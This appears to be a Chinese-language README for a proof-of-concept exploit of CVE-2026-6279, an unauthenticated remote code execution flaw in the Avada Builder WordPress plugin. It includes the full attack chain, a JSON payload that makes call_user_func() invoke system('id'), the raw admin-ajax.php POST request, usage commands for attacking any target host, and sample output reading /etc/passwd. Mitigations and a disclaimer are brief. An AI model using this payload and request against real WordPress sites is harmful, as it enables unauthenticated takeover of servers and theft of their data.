
CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()
远程代码执行(RCE)无需认证 存在于 Avada Builder (Fusion Builder) 版本 <= 3.15.2 中,该插件用于 WordPress Avada 主题——最流行的 WordPress 高级主题之一,拥有 900,000+ 活跃安装。
攻击利用 AJAX 处理器 wp_ajax_nopriv_fusion_get_widget_markup,该处理器通过 base64_decode() + json_decode() 处理 render_logics 参数,然后将其传递给 无白名单 的 call_user_func(),从而能够执行任意 PHP 函数,如 system()、passthru()、shell_exec()、exec() 和 file_get_contents()。
1. 确定性 Nonce wp_create_nonce('fusion_load_nonce') 用于 UID 0
(在包含 Avada shortcode 的前端页面暴露)
2. 未认证 AJAX wp_ajax_nopriv_fusion_get_widget_markup
(无需登录)
3. 反序列化 base64_decode(render_logics) → json_decode()
(无结构校验)
4. call_user_func() call_user_func($value['function'], $value['args'])
(无白名单——可调用任意 PHP 函数)
5. RCE! system("id") → uid=... 在响应体中
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 315.2 ║
║ 未认证RCE via call_user_func() ║
║ 单目标PoC ║
║ ║
║ 版权所有 © 2026 XENON1337 ║
║ 鸣谢:Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
目标 : localhost:8888
时间 : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] 检测目标...
[+] 检测到 Avada! (http://localhost:8888)
[*] 查找 fusion_load_nonce...
[+] 找到 nonce:b6d7b084c2 (来源:主页)
[*] 发送 RCE payload...
[*] 尝试 5 个函数 × 3 个部件 = 15 种组合
══════════════════════════════════════════════════════
[★] RCE 成功!
目标 : http://localhost:8888
输出 : uid=1000(xenon1337)
函数 : system()
部件 : WP_Widget_Recent_Posts
Nonce : b6d7b084c2 (主页)
时间 : 1.2s
[✓] 结果已保存至 vuln.txt
══════════════════════════════════════════════════════
# 不带协议(自动检测)
python3 CVE-2026-6279.py target.com
# 带协议
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# 带端口
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64 编码后作为 render_logics 通过 POST 发送至 wp-admin/admin-ajax.php。
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php 第1665行)[fusion_post_cards] 或 [fusion_table_of_contents] shortcode 的页面上创建 noncecheck_ajax_referer('fusion_load_nonce') 仅验证 nonce 有效,而非用户是否已认证call_user_func($function, $args) 仅接受 1 个参数。需要 2 个或更多参数的函数(如 proc_open、popen)无法利用。只有单参数函数可用:system、passthru、shell_exec、exec、file_get_contents。
9.8 严重 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
get_value() 的 call_user_func() 中添加白名单wp_ajax_nopriv_ 处理器仅允许已认证用户访问render_logics 结构实施严格校验本 PoC 仅用于 教育目的和安全研究。在未经授权的系统上使用是 非法的。作者不承担任何滥用责任。
版权所有 © 2026 XENON1337
特别感谢:Shadow Girlfriend 💜
| 函数 | 参数 | 结果 |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| 文件 | 行 | 功能 |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() — 反序列化 render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() — 无白名单的 call_user_func() |
fusion-widget.php | L44 | render_logics 属性 |
fusion-widget.php | L389 | wp_ajax_nopriv_ AJAX 处理器 |
class-fusion-builder.php | L7551 | Nonce 注册(对 UID 0 具有确定性) |